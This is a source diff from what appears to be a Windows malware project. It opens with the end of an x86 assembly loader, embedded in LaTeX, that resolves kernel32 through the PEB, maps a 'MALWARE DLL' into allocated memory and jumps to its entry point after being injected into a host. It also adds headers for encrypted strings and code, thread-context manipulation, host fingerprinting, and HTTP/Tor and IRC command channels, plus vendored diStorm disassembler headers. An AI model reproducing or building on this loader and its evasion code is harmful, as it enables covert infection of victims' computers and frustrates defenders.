+ loop __ldr_memcpy_loop0
+ ret
+
+
+__ldr_start:
+ ; new stack frame
+ push ebp
+ ; save gpr+flag regs
+ pushad
+ pushfd
+ ; GET POINTER TO CONST DATA
+ jmp near __ldr_ConstData
+ __ldr_gotConstData:
+ pop esi ; pointer to const data in ESI
+ ; RESERVE STACK memory
+ sub esp, STACKMEM
+ mov ebp, esp ; backup ptr for subroutines
+
+ call __ldr_getModuleHandleKernel32PEB ; module handle in eax
+ mov [ebp + OFF_KERNEL32],eax
+ test eax,eax ; check if module handle is not NULL
+ jz __ldr_end
+ push esi
+ call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax
+ mov [ebp + OFF_PROCADDR],eax
+ pop esi
+
+ jmp short _string_VirtualAlloc
+ _got_VirtualAlloc:
+ pop eax
+ mov [ebp + OFF_STRVALLOC],eax
+ jmp short _string_IsBadReadPtr
+ _got_IsBadReadPtr:
+ pop eax
+ mov [ebp + OFF_STRRPTR],eax
+ jmp _strings_done
+ ; strings
+ _string_VirtualAlloc:
+ call _got_VirtualAlloc
+ db 'VirtualAlloc',0x00
+ _string_IsBadReadPtr:
+ call _got_IsBadReadPtr
+ db 'IsBadReadPtr',0x00
+ ; unused byte padding (we are reading data from code section)
+ db 0x90,0x90,0x90,0x90,0x90
+
+ _strings_done:
+
+ ; *** STACK LAYOUT ***
+ ; [ebp] = 'IsBadReadPtr' | [ebp + 0x4] = 'VirtualAlloc'
+ ; [ebp + 0x8] = Kernel32Base | [ebp + 0xc] = PtrGetProcAddress
+ ; [ebp + 0x10] = PtrVirtualAlloc | [ebp + 0x14] = PtrIsBadReadPtr
+ ; [ebp + 0x18] = NT-HEADER | [ebp + 0x1c] = AddressOfEntryPoint
+ ; [ebp + 0x20] = ImageBase | [ebp + 0x24] = SizeOfImage
+ ; [ebp + 0x28] = SizeOfHeaders | [ebp + 0x2c] = FirstSection
+ ; [ebp + 0x30] = NumberOfSections | [ebp + 0x34] = vallocBuf
+ ; [ebp + 0x38] = needBaseReloc
+
+ ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc')
+ mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE
+ mov ecx, [ebp + OFF_STRVALLOC]
+ call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc
+ mov [ebp + OFF_VALLOC], eax
+ ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr')
+ mov ecx, [ebp + OFF_STRRPTR]
+ call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr
+ mov [ebp + OFF_BADRPTR], eax
+ ; check if malware dll pointer is valid
+ mov ebx, [esi + ESI_PTRDLL]
+ mov ecx, [esi + ESI_SIZDLL]
+ call __ldr_isBadReadPtr
+ test eax,eax
+ jnz __ldr_end
+ ; read dll pe header (ebx = PtrToDLL)
+ call __ldr_ReadPE
+ cmp al,0x1
+ jne __ldr_end
+ ; VirtualAlloc(...)
+ mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL)
+ mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL)
+ call __ldr_VirtualAlloc ; eax holds pointer to allocated memory
+ test eax,eax
+ jz __ldr_end
+ mov [ebp + OFF_VALLOCBUF],eax
+ ; copy header
+ mov ebx,eax ; dest
+ mov ecx,[ebp + OFF_SIZOFHEADR] ; size
+ mov edx,[esi + ESI_PTRDLL] ; src
+ call __ldr_memcpy
+ ; copy sections
+ mov ecx,[ebp + OFF_NUMSECTION]
+ mov ebx,[ebp + OFF_FSTSECTION]
+ __ldr_section_copy:
+ mov edx,ebx
+ add edx,0xc ; RVA of section[i]
+ mov edx,[edx]
+ add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i]
+ mov edi,ebx
+ add edi,0x10
+ mov edi,[edi] ; SizeOfRawData
+ mov eax,ebx
+ add eax,0x14
+ mov eax,[eax]
+ add eax,[esi + ESI_PTRDLL]
+ ; copy one section
+ pushad
+ mov ebx,edx
+ mov ecx,edi
+ mov edx,eax
+ call __ldr_memcpy
+ popad
+ ; next
+ add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER)
+ loop __ldr_section_copy
+ ; move arguments to registers
+ mov eax,[ebp + OFF_ADROFENTRY]
+ add eax,[ebp + OFF_VALLOCBUF]
+ push eax ; MALWARE-CRT adr (AddressOfEntry)
+ ; arguments
+ mov ebx,0xdeadbeef ; identificator
+ mov eax,[esi + ESI_PTRDLL] ; save dll section address on stack
+ mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr
+ mov esi,[esi + ESI_SIZDLL] ; size of dll
+ mov ecx,[ebp + OFF_PROCADDR]
+ mov edx,[ebp + OFF_KERNEL32]
+ call [esp] ; call AddressOfEntry (MALWARE-CRT)
+ pop ecx
+__ldr_end:
+ ; CLEANUP STACK
+ add esp,STACKMEM
+ ; restore old gpr+flag regs
+ popfd
+ popad
+ ; cleanup stack frame
+ pop ebp
+ ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected
+ ; replaceable nops (15 bytes max instruction length for x86/x86_64)
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ ; `jump back` nops
+ nop
+ nop
+ nop
+ nop
+ nop
+ ; return if call'd
+ ret
+ ; CONSTS MODIFIED BY THE MALWARE
+ __ldr_ConstData:
+ call near __ldr_gotConstData
+
+ db DEADBEEF ; Pointer to MALWARE DLL
+ db DEADBEEF ; Size of MALWARE DLL
+ db DEADC0DE ; unused, end marker
+\end{lstlisting}
+
+\end{document}
diff --git a/include/aes.h b/include/aes.h
new file mode 100644
index 0000000..c828c96
--- /dev/null
+++ b/include/aes.h
@@ -0,0 +1,36 @@
+#ifndef AES_H_INCLUDED
+#define AES_H_INCLUDED
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#define KEY_128 (128/8)
+#define KEY_192 (192/8)
+#define KEY_256 (256/8)
+
+
+typedef struct {
+ unsigned char state[4][4];
+ int kcol;
+ uint32_t rounds;
+ uint32_t keysched[0];
+} aes_ctx_t;
+
+
+void aes_randomkey(unsigned char* keyout, uint32_t keyLen);
+
+void aes_init();
+
+void aes_cleanup();
+
+aes_ctx_t* aes_alloc_ctx(unsigned char* key, uint32_t keyLen);
+
+char* aes_crypt_s(aes_ctx_t* ctx, const char* input, uint32_t siz, uint32_t* newsiz, bool doEncrypt);
+
+void aes_encrypt(aes_ctx_t* ctx, const unsigned char input[16], unsigned char output[16]);
+
+void aes_decrypt(aes_ctx_t* ctx, const unsigned char input[16], unsigned char output[16]);
+
+void aes_free_ctx(aes_ctx_t* ctx);
+
+#endif // AES_H_INCLUDED
diff --git a/include/aes_strings.h b/include/aes_strings.h
new file mode 100644
index 0000000..49c4f16
--- /dev/null
+++ b/include/aes_strings.h
@@ -0,0 +1,8 @@
+/*
+ * WARNING: Any changes in this file require a *FULL* project rebuild!
+ * e.g.: `git clean -df . ; cmake . ; make -j4`
+ */
+
+#define _AESDATA_(name, str) static volatile unsigned char name[] = str
+#define _AESSIZE_(name, aesData) static size_t name = (size_t)( (sizeof(aesData)/sizeof(aesData[0]))-1 )
+
diff --git a/include/compat.h b/include/compat.h
new file mode 100644
index 0000000..46070f1
--- /dev/null
+++ b/include/compat.h
@@ -0,0 +1,207 @@
+#ifndef COMPAT_H_INCLUDED
+#define COMPAT_H_INCLUDED
+
+#ifndef NULL
+#define NULL (void*)0x0
+#endif
+
+#ifdef _HOST_TOOLS
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include "helper.h"
+#define COMPAT(func) func
+#else /* _HOST_TOOLS */
+
+#ifdef __MINGW32__
+#ifdef _ENABLE_IRC
+#include <winsock2.h>
+#endif
+#include <windows.h>
+#include <winhttp.h>
+typedef HMODULE (WINAPI *LoadLibraryFunc) (LPCTSTR);
+typedef FARPROC (WINAPI *GetProcAddressFunc) (HMODULE, LPCSTR);
+#else
+#include <time.h>
+#endif /* __MINGW32__ */
+
+#include <stdio.h>
+
+#ifdef _NO_COMPAT
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#define COMPAT(func) func
+#define _LoadLibraryA LoadLibraryA
+#define _GetFileSize GetFileSize
+#define _CreateFile CreateFile
+#define _CloseHandle CloseHandle
+#define _ReadFile ReadFile
+#define _WriteFile WriteFile
+#define _IsBadReadPtr IsBadReadPtr
+#define _GetSystemTime GetSystemTime
+#define _GetModuleFileName GetModuleFileName
+#define _GetLastError GetLastError
+#ifndef _USE_PIPES
+#define _GetStdHandle GetStdHandle
+#endif /* _USE_PIPES */
+#define _WriteConsole WriteConsole
+#else /* _NO_COMPAT */
+#include <stdint.h>
+#include <stdbool.h>
+
+typedef struct ApiCall {
+ void* func_ptr;
+} ApiCall_t;
+
+BOOL bInitCompat(void* kernel32, void* getProcAdr);
+
+#ifdef _RUN_TESTS
+#define COMPAT(func) __x ## func
+#else /* _RUN_TESTS */
+#define COMPAT(func) func
+#endif /* _RUN_TESTS */
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+#ifndef _USE_PIPES
+HANDLE _GetStdHandle (void);
+#endif /* _USE_PIPES */
+#define PRINT_BUFSIZ 8192
+BOOL _WriteConsole (const void* buffer, DWORD size, LPDWORD written);
+int COMPAT(puts) (const char* str);
+int COMPAT(vprintf) (const char *format, va_list ap);
+int COMPAT(printf) (const char *format, ...);
+#endif /* _PRE_RELEASE) || _RUN_TESTS */
+
+void* COMPAT(calloc) (size_t nElements, size_t szElement);
+
+void* COMPAT(realloc) (void* ptr, size_t szNew);
+
+const
+void* COMPAT(memmem) (const void* haystack, size_t haystacklen, const void* needle, size_t needlelen);
+
+void* COMPAT(memcpy) (void* dst, const void* src, size_t n);
+
+void* COMPAT(memmove) (void* dst, const void* src, size_t siz);
+
+void* COMPAT(memset) (void* str, int c, size_t siz);
+
+void COMPAT(free) (void* ptr);
+
+int COMPAT(strcmp) (const char* str1, const char* str2);
+
+int COMPAT(strncmp) (const char* str1, const char* str2, size_t maxCount);
+
+int COMPAT(strnicmp) (const char* str1, const char* str2, size_t maxCount);
+
+const
+char* COMPAT(strnstr) (const char* haytsack, const char* needle, size_t maxCount);
+
+const
+char* COMPAT(strnistr) (const char* haystack, const char* needle, size_t maxCount);
+
+size_t COMPAT(strlen) (const char* str);
+
+size_t COMPAT(strnlen) (const char* str, size_t maxCount);
+
+char* COMPAT(strdup) (const char* str);
+
+char* COMPAT(strchr) (const char* str, int c);
+
+char* COMPAT(strcat) (char *dest, const char *src);
+
+int COMPAT(vsnprintf) (char* buffer, unsigned int buffer_len, const char *fmt, va_list va);
+
+int COMPAT(snprintf) (char* buffer, unsigned int buffer_len, const char *fmt, ...);
+
+LPWSTR COMPAT(toWideChar)(LPCSTR mbStr, int mbLen, int* pOutLen);
+
+BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+
+HMODULE WINAPI _LoadLibrary (LPCTSTR name);
+
+FARPROC WINAPI _GetProcAddress (HMODULE, LPCSTR);
+
+DWORD WINAPI _GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);
+
+HANDLE WINAPI _CreateFile (LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
+ LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
+ DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
+
+BOOL WINAPI _CloseHandle (HANDLE hObject);
+
+BOOL WINAPI _ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead,
+ LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
+
+BOOL WINAPI _WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,
+ LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
+
+DWORD WINAPI _SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
+
+BOOL WINAPI _IsBadReadPtr (const void* lp, UINT_PTR ucb);
+
+void WINAPI _GetSystemTime (LPSYSTEMTIME lpSystemTime);
+
+DWORD WINAPI _GetModuleFileName (HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
+
+DWORD WINAPI _GetLastError (void);
+
+void WINAPI _SetLastError (DWORD dwErrCode);
+
+void WINAPI _OutputDebugString (LPCTSTR lpcOut);
+
+DWORD WINAPI _GetLogicalDriveStrings(DWORD nBufferLength, LPTSTR lpBuffer);
+
+UINT WINAPI _GetDriveType (LPCTSTR lpRootPathName);
+
+BOOL WINAPI _GetDiskFreeSpace (LPCTSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector,
+ LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters);
+
+DWORD WINAPI _GetTempPath (DWORD nBufferLength, LPTSTR lpBuffer);
+
+HANDLE WINAPI _CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,
+ LPTHREAD_START_ROUTINE lpStartAddress,
+ LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
+
+DWORD WINAPI _ResumeThread (HANDLE hThread);
+
+BOOL WINAPI _GetThreadContext (HANDLE hThread, LPCONTEXT lpContext);
+
+BOOL WINAPI _SetThreadContext (HANDLE hThread, const CONTEXT *lpContext);
+
+HANDLE WINAPI _GetCurrentThread (void);
+
+DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
+
+BOOL WINAPI _SwitchToThread (void);
+
+DWORD WINAPI _GetVersion (void);
+
+LPTSTR WINAPI _GetCommandLine (void);
+
+void WINAPI _GetSystemInfo (LPSYSTEM_INFO lpSystemInfo);
+
+BOOL WINAPI _GetVolumeInformation(LPCTSTR lpRootPathName, LPTSTR lpVolumeNameBuffer, DWORD nVolumeNameSize,
+ LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength,
+ LPDWORD lpFileSystemFlags, LPTSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize);
+
+BOOL WINAPI _GetCurrentHwProfile(LPHW_PROFILE_INFOA lpHwProfileInfo);
+
+UINT WINAPI _GetSystemDirectory (LPTSTR lpBuffer, UINT uSize);
+
+DWORD WINAPI _GetCurrentDirectory(DWORD nBufferLength, LPTSTR lpBuffer);
+
+DWORD WINAPI _GetFileAttributes (LPCTSTR lpFileName);
+
+BOOL WINAPI _EnumDeviceDrivers (LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded);
+
+DWORD WINAPI _GetDeviceDriverBaseNameA(LPVOID ImageBase, LPSTR lpBaseName, DWORD nSize);
+
+HINSTANCE _ShellExecute (HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters,
+ LPCTSTR lpDirectory, INT nShowCmd);
+
+#endif /* _NO_COMPAT */
+
+#endif /* _HOST_TOOLS */
+
+#endif /* COMPAT_H_INCLUDED */
diff --git a/include/crypt.h b/include/crypt.h
new file mode 100644
index 0000000..f9ec877
--- /dev/null
+++ b/include/crypt.h
@@ -0,0 +1,47 @@
+#ifndef CRYPT_H_INCLUDED
+#define CRYPT_H_INCLUDED
+
+#include <stdint.h>
+
+
+/* a possible encrypted function should use this macro */
+#define POSSIBLE_CRYPT_FUNC(func, ...) \
+ printf("FUNC-PTR: %p\n", func); \
+ func(__VA_ARGS__)
+
+/* AES-256 function prolog */
+#define CRYPT_PROLOG \
+ asm goto ("jmp %l0\n" \
+ : /* no output */ \
+ : /* no input */ \
+ : /* no clobber */ \
+ : ___after_crypt_header); \
+ __asm__ __volatile__( \
+ ".intel_syntax noprefix\n" \
+ ".byte 0xac,0xab,0x00,0x00,0x00,0x00\n\t" \
+ ".att_syntax\n" \
+ ); \
+ ___after_crypt_header:
+
+/* 16 byte pad for AES-256 encryption */
+#define CRYPT_EPILOG \
+ asm volatile( \
+ ".intel_syntax noprefix\n" \
+ "nop; nop; nop; nop; nop; nop; nop; nop\n\t" \
+ "nop; nop; nop; nop; nop; nop; nop; nop\n\t" \
+ ".att_syntax\n" \
+ )
+
+#define XOR128_KEYSIZ 4
+#define XOR256 KEYSIZ 8
+
+
+uint32_t xor32n_pcbc_crypt_buf(uint32_t* buf, uint32_t siz, const uint32_t* iv, const uint32_t* key, uint32_t ivkeysiz);
+
+unsigned char* xor32_byte_crypt(unsigned char* buf, uint32_t siz, uint32_t key);
+
+uint32_t xor32_randomkey(void);
+
+uint32_t murmurhash(const char *key, uint32_t len, uint32_t seed);
+
+#endif /* CRYPT_H_INCLUDED */
diff --git a/include/crypt_strings.h b/include/crypt_strings.h
new file mode 100644
index 0000000..9c41134
--- /dev/null
+++ b/include/crypt_strings.h
@@ -0,0 +1,80 @@
+#ifndef STRINGS_H_INCLUDED
+
+struct string {
+ const uint8_t len;
+ const char* str;
+#ifdef _STRINGS_BIN
+ const char* name;
+#endif
+};
+
+#ifdef _STRINGS_BIN
+#define STRENT(s) { sizeof(s) - 1, s, #s }
+#else
+#define STRENT(s) { sizeof(s) - 1, s }
+#endif
+
+#ifdef _STRINGS_BIN
+#define NULLENT(x) { 0, NULL, #x }
+#else
+#define NULLENT(x) { 0, NULL }
+#endif
+
+
+#include "xor_strings_gen.h"
+enum stridx {
+ XOR_STARTFUNCS = 0,
+ /* kernel32.dll */
+ XOR_KEY_FUNCS_ENUM,
+ XOR_KEY_FUNCS_INFO_ENUM,
+ XOR_KEY_FUNCS_KERNEL_ENUM,
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+ XOR_KEY_FUNCS_DEBUG_ENUM,
+#endif
+ /* ------------------ */
+ XOR_ENDFUNCS,
+ /* non-kernel32.dll */
+ XOR_KEY_FUNCS_OTHER_ENUM,
+ /* ------------------ */
+ XOR_ENDFUNCS_OTHER,
+ XOR_KEY_HTTP_ENUM,
+#ifdef _HTTP_LOCALHOST
+ XOR_KEY_HTTP_LOCALHOST_ENUM,
+#else
+ XOR_KEY_HTTP_WEB2TOR_ENUM,
+#endif
+#ifdef _ENABLE_IRC
+ XOR_SOCK_FUNCS_START,
+ XOR_KEY_SOCK_FUNCS_ENUM, /* Ws32.dll functions */
+ XOR_SOCK_FUNCS_END,
+ XOR_KEY_SOCK_STRS_ENUM,
+#endif
+ XOR_KEY_ROOT_ENUM, /* all non-func strings */
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+#ifdef _USE_PIPES
+ XOR_KEY_DEBUG_ENUM, /* additional debug-only strings */
+#endif
+#endif
+ STR_MAX
+};
+
+
+#define CLEN(i) crypt_len(i)
+#define CBUF(i, name) char name[CLEN(i)+1]; name[CLEN(i)] = 0;
+#define DBUF(i, name) CBUF(i, name); decrypt_string(i, &name[0])
+
+uint8_t crypt_len(enum stridx i);
+
+char* decrypt_string(enum stridx i, char* plainStrPtr);
+
+int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd);
+
+int get_string_in_strings_d(char* strings, char** pDest, char** pEnd);
+
+int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd);
+
+int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd);
+
+void string_restore_delim(char* pEnd);
+
+#endif
diff --git a/include/disasm.h b/include/disasm.h
new file mode 100644
index 0000000..b9e31c4
--- /dev/null
+++ b/include/disasm.h
@@ -0,0 +1,9 @@
+#ifndef DISASM_H_INCLUDED
+#define DISASM_H_INCLUDED
+
+#include "distorm/distorm.h"
+
+
+_DecodeResult disasm(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DInst instructions[], unsigned int maxInstructions, unsigned int* usedInstructionsCount);
+
+#endif /* DISASM_H_INCLUDED */
diff --git a/include/distorm/distorm.h b/include/distorm/distorm.h
new file mode 100644
index 0000000..2cf1b66
--- /dev/null
+++ b/include/distorm/distorm.h
@@ -0,0 +1,475 @@
+/* diStorm 3.3.3 */
+
+/*
+distorm.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef DISTORM_H
+#define DISTORM_H
+
+/*
+ * 64 bit offsets support:
+ * If the diStorm library you use was compiled with 64 bits offsets,
+ * make sure you compile your own code with the following macro set:
+ * SUPPORT_64BIT_OFFSET
+ * Otherwise comment it out, or you will get a linker error of an unresolved symbol...
+ * Turned on by default!
+ */
+
+#if !(defined(DISTORM_STATIC) || defined(DISTORM_DYNAMIC))
+ /* Define this macro for outer projects by default. */
+ #define SUPPORT_64BIT_OFFSET
+#endif
+
+/* TINYC has a problem with some 64bits library functions, so ignore 64 bit offsets. */
+#ifdef __TINYC__
+ #undef SUPPORT_64BIT_OFFSET
+#endif
+
+/* If your compiler doesn't support stdint.h, define your own 64 bits type. */
+#ifdef SUPPORT_64BIT_OFFSET
+ #ifdef _MSC_VER
+ #define OFFSET_INTEGER unsigned __int64
+ #else
+ #include <stdint.h>
+ #define OFFSET_INTEGER uint64_t
+ #endif
+#else
+ /* 32 bit offsets are used. */
+ #define OFFSET_INTEGER unsigned long
+#endif
+
+#ifdef _MSC_VER
+/* Since MSVC isn't shipped with stdint.h, we will have our own: */
+typedef signed __int64 int64_t;
+typedef unsigned __int64 uint64_t;
+typedef signed __int32 int32_t;
+typedef unsigned __int32 uint32_t;
+typedef signed __int16 int16_t;
+typedef unsigned __int16 uint16_t;
+typedef signed __int8 int8_t;
+typedef unsigned __int8 uint8_t;
+#endif
+
+/* Support C++ compilers */
+#ifdef __cplusplus
+ extern "C" {
+#endif
+
+
+/* *** Helper Macros *** */
+
+/* Get the ISC of the instruction, used with the definitions below. */
+#define META_GET_ISC(meta) (((meta) >> 3) & 0x1f)
+#define META_SET_ISC(di, isc) (((di)->meta) |= ((isc) << 3))
+/* Get the flow control flags of the instruction, see 'features for decompose' below. */
+#define META_GET_FC(meta) ((meta) & 0x7)
+
+/* Get the target address of a branching instruction. O_PC operand type. */
+#define INSTRUCTION_GET_TARGET(di) ((_OffsetType)(((di)->addr + (di)->imm.addr + (di)->size)))
+/* Get the target address of a RIP-relative memory indirection. */
+#define INSTRUCTION_GET_RIP_TARGET(di) ((_OffsetType)(((di)->addr + (di)->disp + (di)->size)))
+
+/*
+ * Operand Size or Adderss size are stored inside the flags:
+ * 00 - 16 bits
+ * 01 - 32 bits
+ * 10 - 64 bits
+ * 11 - reserved
+ *
+ * If you call these set-macros more than once, you will have to clean the bits before doing so.
+ */
+#define FLAG_SET_OPSIZE(di, size) ((di->flags) |= (((size) & 3) << 8))
+#define FLAG_SET_ADDRSIZE(di, size) ((di->flags) |= (((size) & 3) << 10))
+#define FLAG_GET_OPSIZE(flags) (((flags) >> 8) & 3)
+#define FLAG_GET_ADDRSIZE(flags) (((flags) >> 10) & 3)
+/* To get the LOCK/REPNZ/REP prefixes. */
+#define FLAG_GET_PREFIX(flags) ((flags) & 7)
+/* Indicates whether the instruction is privileged. */
+#define FLAG_GET_PRIVILEGED(flags) (((flags) & FLAG_PRIVILEGED_INSTRUCTION) != 0)
+
+/*
+ * Macros to extract segment registers from 'segment':
+ */
+#define SEGMENT_DEFAULT 0x80
+#define SEGMENT_SET(di, seg) ((di->segment) |= seg)
+#define SEGMENT_GET(segment) (((segment) == R_NONE) ? R_NONE : ((segment) & 0x7f))
+#define SEGMENT_IS_DEFAULT(segment) (((segment) & SEGMENT_DEFAULT) == SEGMENT_DEFAULT)
+
+
+/* Decodes modes of the disassembler, 16 bits or 32 bits or 64 bits for AMD64, x86-64. */
+typedef enum { Decode16Bits = 0, Decode32Bits = 1, Decode64Bits = 2 } _DecodeType;
+
+typedef OFFSET_INTEGER _OffsetType;
+
+typedef struct {
+ _OffsetType codeOffset, nextOffset; /* nextOffset is OUT only. */
+ const uint8_t* code;
+ int codeLen; /* Using signed integer makes it easier to detect an underflow. */
+ _DecodeType dt;
+ unsigned int features;
+} _CodeInfo;
+
+typedef enum { O_NONE, O_REG, O_IMM, O_IMM1, O_IMM2, O_DISP, O_SMEM, O_MEM, O_PC, O_PTR } _OperandType;
+
+typedef union {
+ /* Used by O_IMM: */
+ int8_t sbyte;
+ uint8_t byte;
+ int16_t sword;
+ uint16_t word;
+ int32_t sdword;
+ uint32_t dword;
+ int64_t sqword; /* All immediates are SIGN-EXTENDED to 64 bits! */
+ uint64_t qword;
+
+ /* Used by O_PC: (Use GET_TARGET_ADDR).*/
+ _OffsetType addr; /* It's a relative offset as for now. */
+
+ /* Used by O_PTR: */
+ struct {
+ uint16_t seg;
+ /* Can be 16 or 32 bits, size is in ops[n].size. */
+ uint32_t off;
+ } ptr;
+
+ /* Used by O_IMM1 (i1) and O_IMM2 (i2). ENTER instruction only. */
+ struct {
+ uint32_t i1;
+ uint32_t i2;
+ } ex;
+} _Value;
+
+typedef struct {
+ /* Type of operand:
+ O_NONE: operand is to be ignored.
+ O_REG: index holds global register index.
+ O_IMM: instruction.imm.
+ O_IMM1: instruction.imm.ex.i1.
+ O_IMM2: instruction.imm.ex.i2.
+ O_DISP: memory dereference with displacement only, instruction.disp.
+ O_SMEM: simple memory dereference with optional displacement (a single register memory dereference).
+ O_MEM: complex memory dereference (optional fields: s/i/b/disp).
+ O_PC: the relative address of a branch instruction (instruction.imm.addr).
+ O_PTR: the absolute target address of a far branch instruction (instruction.imm.ptr.seg/off).
+ */
+ uint8_t type; /* _OperandType */
+
+ /* Index of:
+ O_REG: holds global register index
+ O_SMEM: holds the 'base' register. E.G: [ECX], [EBX+0x1234] are both in operand.index.
+ O_MEM: holds the 'index' register. E.G: [EAX*4] is in operand.index.
+ */
+ uint8_t index;
+
+ /* Size in bits of:
+ O_REG: register
+ O_IMM: instruction.imm
+ O_IMM1: instruction.imm.ex.i1
+ O_IMM2: instruction.imm.ex.i2
+ O_DISP: instruction.disp
+ O_SMEM: size of indirection.
+ O_MEM: size of indirection.
+ O_PC: size of the relative offset
+ O_PTR: size of instruction.imm.ptr.off (16 or 32)
+ */
+ uint16_t size;
+} _Operand;
+
+#define OPCODE_ID_NONE 0
+/* Instruction could not be disassembled. */
+#define FLAG_NOT_DECODABLE ((uint16_t)-1)
+/* The instruction locks memory access. */
+#define FLAG_LOCK (1 << 0)
+/* The instruction is prefixed with a REPNZ. */
+#define FLAG_REPNZ (1 << 1)
+/* The instruction is prefixed with a REP, this can be a REPZ, it depends on the specific instruction. */
+#define FLAG_REP (1 << 2)
+/* Indicates there is a hint taken for Jcc instructions only. */
+#define FLAG_HINT_TAKEN (1 << 3)
+/* Indicates there is a hint non-taken for Jcc instructions only. */
+#define FLAG_HINT_NOT_TAKEN (1 << 4)
+/* The Imm value is signed extended (E.G in 64 bit decoding mode, a 32 bit imm is usually sign extended into 64 bit imm). */
+#define FLAG_IMM_SIGNED (1 << 5)
+/* The destination operand is writable. */
+#define FLAG_DST_WR (1 << 6)
+/* The instruction uses RIP-relative indirection. */
+#define FLAG_RIP_RELATIVE (1 << 7)
+
+/* See flag FLAG_GET_XXX macros above. */
+
+/* The instruction is privileged and can only be used from Ring0. */
+#define FLAG_PRIVILEGED_INSTRUCTION (1 << 15)
+
+/* No register was defined. */
+#define R_NONE ((uint8_t)-1)
+
+#define REGS64_BASE 0
+#define REGS32_BASE 16
+#define REGS16_BASE 32
+#define REGS8_BASE 48
+#define REGS8_REX_BASE 64
+#define SREGS_BASE 68
+#define FPUREGS_BASE 75
+#define MMXREGS_BASE 83
+#define SSEREGS_BASE 91
+#define AVXREGS_BASE 107
+#define CREGS_BASE 123
+#define DREGS_BASE 132
+
+#define OPERANDS_NO (4)
+
+typedef struct {
+ /* Used by ops[n].type == O_IMM/O_IMM1&O_IMM2/O_PTR/O_PC. Its size is ops[n].size. */
+ _Value imm;
+ /* Used by ops[n].type == O_SMEM/O_MEM/O_DISP. Its size is dispSize. */
+ uint64_t disp;
+ /* Virtual address of first byte of instruction. */
+ _OffsetType addr;
+ /* General flags of instruction, holds prefixes and more, if FLAG_NOT_DECODABLE, instruction is invalid. */
+ uint16_t flags;
+ /* Unused prefixes mask, for each bit that is set that prefix is not used (LSB is byte [addr + 0]). */
+ uint16_t unusedPrefixesMask;
+ /* Mask of registers that were used in the operands, only used for quick look up, in order to know *some* operand uses that register class. */
+ uint32_t usedRegistersMask;
+ /* ID of opcode in the global opcode table. Use for mnemonic look up. */
+ uint16_t opcode;
+ /* Up to four operands per instruction, ignored if ops[n].type == O_NONE. */
+ _Operand ops[OPERANDS_NO];
+ /* Size of the whole instruction in bytes. */
+ uint8_t size;
+ /* Segment information of memory indirection, default segment, or overriden one, can be -1. Use SEGMENT macros. */
+ uint8_t segment;
+ /* Used by ops[n].type == O_MEM. Base global register index (might be R_NONE), scale size (2/4/8), ignored for 0 or 1. */
+ uint8_t base, scale;
+ uint8_t dispSize;
+ /* Meta defines the instruction set class, and the flow control flags. Use META macros. */
+ uint8_t meta;
+ /* The CPU flags that the instruction operates upon. */
+ uint16_t modifiedFlagsMask, testedFlagsMask, undefinedFlagsMask;
+} _DInst;
+
+#ifndef DISTORM_LIGHT
+
+/* Static size of strings. Do not change this value. Keep Python wrapper in sync. */
+#define MAX_TEXT_SIZE (48)
+typedef struct {
+ unsigned int length;
+ unsigned char p[MAX_TEXT_SIZE]; /* p is a null terminated string. */
+} _WString;
+
+/*
+ * Old decoded instruction structure in text format.
+ * Used only for backward compatibility with diStorm64.
+ * This structure holds all information the disassembler generates per instruction.
+ */
+typedef struct {
+ _WString mnemonic; /* Mnemonic of decoded instruction, prefixed if required by REP, LOCK etc. */
